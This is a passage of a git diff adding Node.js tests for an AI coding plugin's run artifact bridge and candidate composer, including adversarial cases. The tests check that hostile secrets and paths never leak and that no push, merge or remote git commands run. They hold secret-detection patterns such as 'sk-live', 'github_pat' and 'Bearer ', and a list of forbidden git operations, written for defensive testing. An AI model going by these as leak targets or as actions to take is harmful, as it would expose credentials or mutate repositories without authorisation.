assert.equal(captured.sanitizer_version, null); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + const artifact = projection.artifacts[0]; + assert.equal(artifact.redaction_count, null); + assert.equal(artifact.sanitizer_version, null); + assert.equal(artifact.complete, null); + assert.notEqual(artifact.redaction_count, 0); + assert.notEqual(artifact.sanitizer_version, 1); + assert.notEqual(artifact.complete, true); + assert.notEqual(artifact.complete, false); +}); + +test('capture readback fails closed on substituted, partial, mismatched, or stale bytes', async () => { + const inner = makeRawStore(); + const swapped = wrapGet(inner, (record) => { + if (record === null) return null; + return { + artifact_ref: record.artifact_ref, + bytes: Buffer.alloc(record.bytes.byteLength, 0x78), + source_truncated: record.source_truncated, + }; + }); + const swappedBridge = makeBridge({ rawStore: swapped }).bridge; + const swappedError = await errorOf(() => swappedBridge.captureAssignmentArtifacts(captureInput())); + assert.equal(swappedError.code, 'artifact_bridge_store_failed'); + assertContentFree(swappedError); + + const partialInner = makeRawStore(); + const partial = wrapGet(partialInner, (record) => { + if (record === null) return null; + return { + artifact_ref: record.artifact_ref, + bytes: record.bytes.subarray(0, 4), + source_truncated: record.source_truncated, + }; + }); + const partialError = await errorOf(() => makeBridge({ rawStore: partial }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(partialError.code, 'artifact_bridge_store_failed'); + assertContentFree(partialError); + + const missingBytesInner = makeRawStore(); + const missingBytes = wrapGet(missingBytesInner, (record) => { + if (record === null) return null; + return { artifact_ref: record.artifact_ref }; + }); + const missingError = await errorOf(() => makeBridge({ rawStore: missingBytes }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(missingError.code, 'artifact_bridge_store_failed'); + assertContentFree(missingError); + + const staleInner = makeRawStore(); + const stale = wrapGet(staleInner, (record) => { + if (record === null) return null; + return { + artifact_ref: { + ...record.artifact_ref, + relative_path: FOREIGN_RELATIVE, + }, + bytes: record.bytes, + source_truncated: record.source_truncated, + }; + }); + const staleError = await errorOf(() => makeBridge({ rawStore: stale }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(staleError.code, 'artifact_bridge_store_failed'); + assertContentFree(staleError); + + const honest = makeBridge(); + await honest.bridge.captureAssignmentArtifacts(captureInput()); + const replayInner = honest.rawStore; + const replayMissing = wrapGet(replayInner, (record) => { + if (record === null) return null; + return { artifact_ref: record.artifact_ref }; + }); + const replayError = await errorOf(() => makeBridge({ rawStore: replayMissing }).bridge + .captureAssignmentArtifacts(captureInput())); + assert.equal(replayError.code, 'artifact_bridge_store_failed'); + assertContentFree(replayError); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs new file mode 100644 index 0000000..f73fb7b --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-artifact-bridge.test.mjs @@ -0,0 +1,379 @@ +// P33 run artifact bridge focused coverage: identity-bound owner-only raw +// capture, bounded sanitized projection, restart truthfulness, and +// proof-bound per-run cleanup. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_KINDS, +} from '../mcp/v3/artifact-ref.mjs'; +import { + CAPTURE_RECEIPT_KEYS, + CLEANUP_RECEIPT_KEYS, + MAX_PROJECTION_BYTES, + PROJECTION_ARTIFACT_KEYS, + PROJECTION_RECEIPT_KEYS, + RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_FACTORY_KEYS, + RUN_ARTIFACT_BRIDGE_METHODS, + RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_SCHEMA_ID, + RUN_ARTIFACT_BRIDGE_VERSION, + createRunArtifactBridge, + describeRunArtifactBridgeV1, +} from '../mcp/v3/run-artifact-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + CLOCK_START, + HOSTILE_PATH, + HOSTILE_SECRET, + PLAIN_TEXT, + REDACTED, + RELATIVE_A, + RELATIVE_B, + RUN_ID, + SECRET_TEXT, + captureInput, + digestOf, + cleanupInput, + decodeSelected, + makeBridge, + makeClock, + makeEvidenceBundle, + makeRawStore, + makeSanitizer, + projectInput, +} from './fixtures/r1-run-artifact-bridge-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-artifact-bridge.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value), + 'returned records must be frozen'); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +function assertNoSecret(text, extras = []) { + assert.doesNotMatch(text, /sk-live/u); + assert.doesNotMatch(text, /ATTACKER-SECRET/u); + assert.doesNotMatch(text, /github_pat/u); + for (const extra of extras) { + assert.equal(text.includes(extra), false, 'must not leak extra secret material'); + } +} + +test('createRunArtifactBridge is the frozen v1 factory with exact methods', () => { + assert.equal(RUN_ARTIFACT_BRIDGE_SCHEMA_ID, 'codex-co-engineer.run-artifact-bridge.v1'); + assert.equal(RUN_ARTIFACT_BRIDGE_VERSION, 1); + assert.deepEqual([...RUN_ARTIFACT_BRIDGE_FACTORY_KEYS], [ + 'rawStore', 'sanitizer', 'evidenceBundle', 'clock', + ]); + assert.deepEqual([...RUN_ARTIFACT_BRIDGE_METHODS], [ + 'captureAssignmentArtifacts', + 'projectAssignmentArtifacts', + 'cleanupRunArtifacts', + ]); + const { bridge } = makeBridge(); + assert.deepEqual(Object.keys(bridge), [...RUN_ARTIFACT_BRIDGE_METHODS]); + assert.equal(Object.isFrozen(bridge), true); + const inventory = describeRunArtifactBridgeV1(); + assert.equal(inventory.raw_owner_only, true); + assert.equal(inventory.model_facing_sanitized_only, true); + assert.equal(inventory.proof_bound_cleanup, true); + assert.equal(inventory.automatic_gc, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.imports_runtime, false); + assert.equal(inventory.imports_scheduler, false); + assert.equal(inventory.imports_lifecycle, false); + assert.equal(inventory.imports_server, false); + assert.equal(inventory.imports_candidate, false); + assert.deepEqual(inventory.artifact_classes, [...ARTIFACT_CLASSES]); + assert.deepEqual(inventory.artifact_kinds, [...ARTIFACT_KINDS]); + assert.equal(inventory.max_projection_bytes, MAX_PROJECTION_BYTES); +}); + +test('P33 source does not import runtime, scheduler, lifecycle, server, or candidate paths', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', + 'run-scheduler.mjs', + 'run-journal.mjs', + 'acp-worker.mjs', + 'process-boundary.mjs', + 'supervisor.mjs', + 'server.mjs', + 'mailbox.mjs', + 'artifact-store.mjs', + 'artifact-sanitizer.mjs', + 'artifact-reader.mjs', + 'evidence-bundle.mjs', + 'run-candidate-composer.mjs', + 'run-combined-verifier.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } +}); + +test('capture publishes owner-only raw evidence and a sanitized projection receipt', async () => { + const { bridge, rawStore, evidenceBundle } = makeBridge(); + const receipt = await bridge.captureAssignmentArtifacts(captureInput()); + assertFrozenTree(receipt); + assert.deepEqual(Object.keys(receipt).sort(), [...CAPTURE_RECEIPT_KEYS].sort()); + assert.equal(receipt.schema, RUN_ARTIFACT_BRIDGE_CAPTURE_SCHEMA_ID); + assert.equal(receipt.run_id, RUN_ID); + assert.equal(receipt.assignment_id, ASSIGNMENT_A); + assert.equal(receipt.created, true); + assert.equal(receipt.captured_at, CLOCK_START); + assert.equal(receipt.raw_ref.artifact_class, 'raw'); + assert.equal(receipt.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(receipt.raw_ref.relative_path, RELATIVE_A); + assert.equal(receipt.sanitized_ref.relative_path, RELATIVE_A); + assert.equal(Object.hasOwn(receipt, 'bytes'), false); + assert.equal(JSON.stringify(receipt).includes(PLAIN_TEXT), false); + const stored = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(stored.artifact_ref.artifact_class, 'raw'); + assert.equal(Buffer.from(stored.bytes).toString('utf8'), PLAIN_TEXT); + assert.equal(evidenceBundle.events[0].code, 'captured'); + assert.equal(evidenceBundle.events[0].kind, 'capture'); +}); + +test('project returns only bounded sanitized artifacts and never raw bytes', async () => { + const { bridge } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput({ source: SECRET_TEXT })); + const projection = await bridge.projectAssignmentArtifacts(projectInput()); + assertFrozenTree(projection); + assert.deepEqual(Object.keys(projection).sort(), [...PROJECTION_RECEIPT_KEYS].sort()); + assert.equal(projection.schema, RUN_ARTIFACT_BRIDGE_PROJECTION_SCHEMA_ID); + assert.equal(projection.artifacts.length, 1); + const artifact = projection.artifacts[0]; + assert.deepEqual(Object.keys(artifact).sort(), [...PROJECTION_ARTIFACT_KEYS].sort()); + assert.equal(artifact.sanitized_ref.artifact_class, 'sanitized'); + assert.equal(Object.hasOwn(artifact, 'raw_ref'), false); + const text = decodeSelected(artifact); + assert.equal(text.includes(REDACTED), true); + assert.equal(artifact.redaction_count > 0, true); + assertNoSecret(text); + assertNoSecret(JSON.stringify(projection), [HOSTILE_SECRET, HOSTILE_PATH]); +}); + +test('identical capture replay is restart-truthful and does not duplicate raw storage', async () => { + const rawStore = makeRawStore(); + const evidenceBundle = makeEvidenceBundle(); + const first = makeBridge({ rawStore, evidenceBundle, clock: makeClock() }); + const created = await first.bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(created.created, true); + assert.equal(rawStore.size(), 1); + + const restarted = makeBridge({ + rawStore, + evidenceBundle, + sanitizer: makeSanitizer(), + clock: makeClock('2026-08-25T22:05:00Z'), + }); + const replay = await restarted.bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(replay.created, false); + assert.equal(replay.raw_ref.sha256, created.raw_ref.sha256); + assert.equal(rawStore.size(), 1); + const projection = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts.length, 1); + assert.equal(decodeSelected(projection.artifacts[0]), PLAIN_TEXT); + assert.equal(evidenceBundle.events.some((event) => event.code === 'replayed'), true); +}); + +test('a different payload at the same identity fails closed without replacing bytes', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + const error = await errorOf(() => bridge.captureAssignmentArtifacts(captureInput({ + source: 'different payload', + }))); + assert.equal(error.code, 'artifact_bridge_restart_conflict'); + const stored = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(Buffer.from(stored.bytes).toString('utf8'), PLAIN_TEXT); +}); + +test('projection after restart re-sanitizes owner raw rather than inventing artifacts', async () => { + const rawStore = makeRawStore(); + const first = makeBridge({ rawStore }); + await first.bridge.captureAssignmentArtifacts(captureInput({ source: SECRET_TEXT })); + const restarted = makeBridge({ rawStore, sanitizer: makeSanitizer() }); + const projection = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projection.artifacts.length, 1); + assertNoSecret(decodeSelected(projection.artifacts[0])); +}); + +test('cleanup with matching run proof removes only that run and is idempotent', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + await bridge.captureAssignmentArtifacts(captureInput({ + assignment_id: ASSIGNMENT_B, + artifact_kind: 'git_diff', + relative_path: RELATIVE_B, + source: 'diff --git a/x b/x', + })); + assert.equal(rawStore.size(), 2); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID }, + })); + assertFrozenTree(cleaned); + assert.deepEqual(Object.keys(cleaned).sort(), [...CLEANUP_RECEIPT_KEYS].sort()); + assert.equal(cleaned.schema, RUN_ARTIFACT_BRIDGE_CLEANUP_SCHEMA_ID); + assert.equal(cleaned.cleaned, true); + assert.equal(cleaned.removed, 2); + assert.equal(cleaned.remaining, 0); + assert.equal(rawStore.size(), 0); + const replay = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID }, + })); + assert.equal(replay.cleaned, true); + assert.equal(replay.removed, 0); + const empty = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(empty.artifacts.length, 0); +}); + +test('assignment-scoped proof cannot escape the run or sibling assignments', async () => { + const { bridge, rawStore } = makeBridge(); + await bridge.captureAssignmentArtifacts(captureInput()); + await bridge.captureAssignmentArtifacts(captureInput({ + assignment_id: ASSIGNMENT_B, + artifact_kind: 'git_diff', + relative_path: RELATIVE_B, + source: 'diff --git a/x b/x', + })); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput({ + proof: { run_id: RUN_ID, assignment_ids: [ASSIGNMENT_A] }, + })); + assert.equal(cleaned.cleaned, true); + assert.equal(cleaned.removed, 1); + assert.equal(cleaned.remaining, 1); + const leftover = await rawStore.list({ run_id: RUN_ID }); + assert.equal(leftover.length, 1); + assert.equal(leftover[0].artifact_ref.assignment_id, ASSIGNMENT_B); +}); + +test('clock stamps capture, projection, and cleanup', async () => { + const clock = makeClock('2026-08-25T22:10:00Z'); + const { bridge } = makeBridge({ clock }); + const captured = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(captured.captured_at, '2026-08-25T22:10:00Z'); + clock.set('2026-08-25T22:11:00Z'); + const projected = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projected.projected_at, '2026-08-25T22:11:00Z'); + clock.set('2026-08-25T22:12:00Z'); + const cleaned = await bridge.cleanupRunArtifacts(cleanupInput()); + assert.equal(cleaned.cleaned_at, '2026-08-25T22:12:00Z'); +}); + +test('bounded projection clips selected bytes and reports paging facts', async () => { + const { bridge } = makeBridge(); + const source = 'abcdefghij'.repeat(100); + await bridge.captureAssignmentArtifacts(captureInput({ source })); + const page = await bridge.projectAssignmentArtifacts(projectInput({ + offset: 0, + max_bytes: 16, + })); + assert.equal(page.artifacts[0].selected_byte_length, 16); + assert.equal(page.artifacts[0].more, true); + assert.equal(page.artifacts[0].next_offset, 16); + assert.equal(page.artifacts[0].reader_clipped, true); + const rest = await bridge.projectAssignmentArtifacts(projectInput({ + offset: 16, + max_bytes: 16, + })); + assert.equal(decodeSelected(page.artifacts[0]) + decodeSelected(rest.artifacts[0]), + source.slice(0, 32)); +}); + +test('complete, redacted, and versioned capture readback bind stored bytes', async () => { + const { bridge, rawStore } = makeBridge({ + sanitizer: makeSanitizer({ sanitizerVersion: 7 }), + }); + const complete = await bridge.captureAssignmentArtifacts(captureInput()); + assert.equal(complete.source_truncated, false); + assert.equal(complete.complete, true); + assert.equal(complete.redaction_count, 0); + assert.equal(complete.sanitizer_version, 7); + const storedComplete = await rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(digestOf(storedComplete.bytes), complete.raw_ref.sha256); + assert.equal(Buffer.from(storedComplete.bytes).byteLength, complete.raw_ref.byte_length); + const completeProjection = await bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(completeProjection.artifacts[0].complete, true); + assert.equal(completeProjection.artifacts[0].source_truncated, false); + assert.equal(completeProjection.artifacts[0].redaction_count, 0); + assert.equal(completeProjection.artifacts[0].sanitizer_version, 7); + + const redactedBridge = makeBridge({ + sanitizer: makeSanitizer({ sanitizerVersion: 7 }), + }); + const redacted = await redactedBridge.bridge.captureAssignmentArtifacts(captureInput({ + source: SECRET_TEXT, + })); + assert.equal(redacted.redaction_count > 0, true); + assert.equal(redacted.sanitizer_version, 7); + assert.equal(redacted.complete, true); + const storedRedacted = await redactedBridge.rawStore.get({ + run_id: RUN_ID, + assignment_id: ASSIGNMENT_A, + relative_path: RELATIVE_A, + }); + assert.equal(digestOf(storedRedacted.bytes), redacted.raw_ref.sha256); + const redactedProjection = await redactedBridge.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(redactedProjection.artifacts[0].redaction_count, redacted.redaction_count); + assert.equal(redactedProjection.artifacts[0].sanitizer_version, 7); + assert.equal(decodeSelected(redactedProjection.artifacts[0]).includes(REDACTED), true); +}); + +test('truncated capture stays incomplete across projection and restart', async () => { + const rawStore = makeRawStore(); + const first = makeBridge({ rawStore }); + const captured = await first.bridge.captureAssignmentArtifacts(captureInput({ + source_truncated: true, + })); + assert.equal(captured.source_truncated, true); + assert.equal(captured.complete, false); + const projected = await first.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(projected.artifacts[0].source_truncated, true); + assert.equal(projected.artifacts[0].complete, false); + + const restarted = makeBridge({ rawStore, sanitizer: makeSanitizer() }); + const again = await restarted.bridge.projectAssignmentArtifacts(projectInput()); + assert.equal(again.artifacts[0].source_truncated, true); + assert.equal(again.artifacts[0].complete, false); +}); + +test('factory rejects missing injected seams', () => { + assert.throws(() => createRunArtifactBridge({}), (error) => { + assert.ok(error instanceof RunContractV1Error); + assert.equal(error.code, 'missing_key'); + return true; + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs new file mode 100644 index 0000000..448ace9 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-candidate-composer-adversarial.test.mjs @@ -0,0 +1,138 @@ +// P35 composer adversarial coverage: hostile containers, remote mutation, +// protected-ref writes, credential leaks, and conflict-repair attempts. + +import assert from 'node:assert/strict'; +import test from 'node:test'; + +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + composeRunOwnedCandidateV1, + parseRunCandidateComposeRequestV1, +} from '../mcp/v3/run-candidate-composer.mjs'; +import { GIT_EXECUTABLE } from '../mcp/v3/git-identity.mjs'; +import { + ASSIGNMENT_A, + HOSTILE_PATH, + HOSTILE_SECRET, + HOSTILE_TOKEN, + addWriterCommit, + composeRequest, + countingProxy, + createBaseRepo, + inspectRepo, + trapTotal, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertContentFree(error) { + assert.doesNotMatch(error.message, /sk-live/u); + assert.doesNotMatch(error.message, /github_pat/u); + assert.doesNotMatch(error.message, /\/tmp\/secret-repo/u); + assert.doesNotMatch(error.message, /Bearer /u); +} + +test('proxy requests fail closed without traps', async () => { + const proxied = countingProxy({ schema: 'x' }); + const error = await errorOf(() => parseRunCandidateComposeRequestV1(proxied.proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.equal(trapTotal(proxied.counts), 0); + assertContentFree(error); +}); + +test('unknown keys, missing keys, and accessors fail closed', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const base = composeRequest(repo, [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')]); + assert.equal((await errorOf(() => parseRunCandidateComposeRequestV1({ ...base, merge: true }))).code, + 'unknown_key'); + const missing = { ...base }; + delete missing.lanes; + assert.equal((await errorOf(() => parseRunCandidateComposeRequestV1(missing))).code, 'missing_key'); + const accessor = { ...base }; + Object.defineProperty(accessor, 'version', { + enumerable: true, get() { return HOSTILE_SECRET; }, + }); + const error = await errorOf(() => parseRunCandidateComposeRequestV1(accessor)); + assert.equal(error.code, 'accessor_property_denied'); + assertContentFree(error); +}); + +test('smuggled ready_for_codex_review and remote operations are unknown keys', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const base = composeRequest(repo, [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')]); + for (const extra of ['ready_for_codex_review', 'push', 'create_pr', 'rebase', 'tag']) { + const error = await errorOf(() => parseRunCandidateComposeRequestV1({ ...base, [extra]: true })); + assert.equal(error.code, 'unknown_key', extra); + } +}); + +test('composer spawn never issues push merge rebase or remote commands', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const { spawn: nodeSpawn } = await import('node:child_process'); + const seen = []; + const wrapped = (executable, args, options) => { + seen.push([executable, ...args]); + return nodeSpawn(executable, args, options); + }; + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ]), { spawn: wrapped }); + assert.equal(receipt.status, 'composed'); + const flat = seen.flat().join('\0'); + assert.equal(flat.includes('\0push\0') || flat.endsWith('\0push') || flat.startsWith('push\0'), false); + for (const command of ['push', 'fetch', 'merge', 'rebase', 'pull', 'remote']) { + assert.equal(seen.some((args) => args.includes(command)), false, command); + } + assert.equal(seen.every((args) => args[0] === GIT_EXECUTABLE || args[0] !== undefined), true); +}); + +test('hostile secrets in repository paths never appear in typed errors', async () => { + const error = await errorOf(() => parseRunCandidateComposeRequestV1({ + schema: 'codex-co-engineer.run-candidate-composer.v1', + version: 1, + identity: { + repository_path: HOSTILE_PATH, + base_sha: '0123456789abcdef0123456789abcdef01234567', + run_id: 'run-candidate-01', + assignment_id: ASSIGNMENT_A, + }, + expected_base_ref: 'refs/heads/main', + expected_protected_refs: [{ + ref: 'refs/heads/main', sha: '0123456789abcdef0123456789abcdef01234567', + }], + lanes: [writerLane(ASSIGNMENT_A, ['src/**'], 'missing')], + token: HOSTILE_TOKEN, + })); + assert.equal(error.code, 'unknown_key'); + assertContentFree(error); + assert.equal(error.message.includes(HOSTILE_SECRET), false); +}); + +test('failed composition leaves HEAD main and remotes untouched', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const before = inspectRepo(repo); + const error = await errorOf(() => composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'), + ]))); + assert.ok(['unverified_delta_denied', 'git_execution_failed'].includes(error.code)); + const after = inspectRepo(repo); + assert.equal(after.head, before.head); + assert.equal(after.main, before.main); + assert.equal(after.remotes, ''); + assert.equal(after.candidate, null); +}); diff --git a/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs b/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs new file mode 100644 index 0000000..191b420 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-run-candidate-composer.test.mjs @@ -0,0 +1,268 @@ +// P35 run-owned candidate composer focused coverage: binary-safe manifest +// order, one-parent candidate ref, blocked/incomplete states, restart +// idempotency, and denied remote mutation. + +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { expectedCandidateRefV1 } from '../mcp/v3/git-authority.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { + CANDIDATE_COMMIT_MESSAGE, + COMPOSER_STATUSES, + RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + RUN_CANDIDATE_COMPOSER_VERSION, + composeRunOwnedCandidateV1, + describeRunCandidateComposerV1, + parseRunCandidateComposeRequestV1, +} from '../mcp/v3/run-candidate-composer.mjs'; +import { + ASSIGNMENT_A, + ASSIGNMENT_B, + BINARY_BYTES, + RUN_ID, + addModeChangeWriter, + addRenameWriter, + addSymlinkWriter, + addWriterCommit, + candidateRef, + composeRequest, + createBaseRepo, + fileAt, + git, + inspectRepo, + parentsOf, + verifyLane, + writerLane, +} from './fixtures/r1-run-candidate-composer-fixtures.mjs'; + +const MODULE_PATH = fileURLToPath(new URL('../mcp/v3/run-candidate-composer.mjs', import.meta.url)); + +function errorOf(action) { + return Promise.resolve() + .then(action) + .then(() => assert.fail('expected a typed RunContractV1Error'), (error) => { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + return error; + }); +} + +function assertFrozenTree(value) { + assert.ok(value === null || typeof value !== 'object' || Object.isFrozen(value)); + if (value && typeof value === 'object') { + for (const child of Object.values(value)) assertFrozenTree(child); + } +} + +test('createRunCandidateComposer schema is additive v1 and never ready', () => { + assert.equal(RUN_CANDIDATE_COMPOSER_SCHEMA_ID, 'codex-co-engineer.run-candidate-composer.v1'); + assert.equal(RUN_CANDIDATE_COMPOSER_VERSION, 1); + const inventory = describeRunCandidateComposerV1(); + assert.equal(inventory.conflict_repair, false); + assert.equal(inventory.ready_for_codex_review, false); + assert.equal(inventory.remote_mutated, false); + assert.equal(inventory.gate_a_claimed, false); + assert.equal(inventory.imports_server, false); + assert.deepEqual([...inventory.statuses], [...COMPOSER_STATUSES]); + assert.equal( + inventory.candidate_ref_namespace + '/' + inventory.candidate_ref_leaf, + 'refs/codex-co-engineer/runs//candidate', + ); +}); + +test('P35 composer source does not import server, supervisor, runtime, or scheduler', async () => { + const source = await readFile(MODULE_PATH, 'utf8'); + for (const forbidden of [ + 'run-runtime.mjs', 'run-scheduler.mjs', 'server.mjs', 'supervisor.mjs', + 'mailbox.mjs', 'acp-worker.mjs', 'process-boundary.mjs', 'provider-registry.mjs', + 'run-artifact-bridge.mjs', 'run-orchestration.mjs', + ]) { + assert.equal(source.includes(`from './${forbidden}'`), false, forbidden); + } +}); + +test('two verified writers compose in manifest order onto a one-parent candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headB = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_B, relativePath: 'docs/b.md', contents: 'from-b\n', + }); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'from-a\n', + }); + const before = inspectRepo(repo); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_B, ['docs/**'], 'verified', headB), + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane(), + ])); + assertFrozenTree(receipt); + assert.equal(receipt.status, 'composed'); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.parent_count, 1); + assert.equal(receipt.parent_sha, repo.baseSha); + assert.equal(receipt.candidate_ref, expectedCandidateRefV1({ run_id: RUN_ID })); + assert.deepEqual([...receipt.applied_assignment_ids], [ASSIGNMENT_B, ASSIGNMENT_A]); + assert.equal(parentsOf(repo, receipt.candidate_sha).join(' '), repo.baseSha); + assert.equal(fileAt(repo, receipt.candidate_sha, 'docs/b.md').toString('utf8'), 'from-b\n'); + assert.equal(fileAt(repo, receipt.candidate_sha, 'src/a.js').toString('utf8'), 'from-a\n'); + const after = inspectRepo(repo); + assert.equal(after.head, before.head); + assert.equal(after.main, repo.baseSha); + assert.equal(after.remotes, ''); + assert.equal(after.candidate, receipt.candidate_sha); + assert.equal(git(repo.path, ['log', '-1', '--format=%s', receipt.candidate_sha]), CANDIDATE_COMMIT_MESSAGE); +}); + +test('binary bytes survive composition without text recoding', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, + relativePath: 'src/data.bin', + contents: BINARY_BYTES, + binary: true, + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + ])); + assert.equal(receipt.status, 'composed'); + assert.deepEqual(fileAt(repo, receipt.candidate_sha, 'src/data.bin'), BINARY_BYTES); +}); + +test('required missing rejected or unresolved writers block without writing a ref', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + for (const state of ['missing', 'rejected', 'unresolved']) { + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], state), + ])); + assert.equal(receipt.status, 'blocked'); + assert.equal(receipt.candidate_sha, null); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(inspectRepo(repo).candidate, null); + assert.deepEqual([...receipt.blocked_assignment_ids], [ASSIGNMENT_B]); + } +}); + +test('diagnostic partial composes verified writers as incomplete_candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + writerLane(ASSIGNMENT_B, ['docs/**'], 'unresolved'), + ], { allow_diagnostic_partial_candidate: true })); + assert.equal(receipt.status, 'incomplete_candidate'); + assert.equal(receipt.incomplete, true); + assert.equal(receipt.ready_for_codex_review, false); + assert.equal(receipt.applied_assignment_ids[0], ASSIGNMENT_A); + assert.equal(inspectRepo(repo).candidate, receipt.candidate_sha); +}); + +test('optional advisory lanes do not block a complete candidate', async (t) => { + const repo = await createBaseRepo(); + t.after(() => repo.cleanup()); + const headA = await addWriterCommit(repo, { + assignmentId: ASSIGNMENT_A, relativePath: 'src/a.js', contents: 'a\n', + }); + const receipt = await composeRunOwnedCandidateV1(composeRequest(repo, [ + writerLane(ASSIGNMENT_A, ['src/**'], 'verified', headA), + verifyLane('rejected'), + ])); + assert.equal(receipt.status, 'composed'); + assert.equal(receipt.blocked_assignment_ids.length, 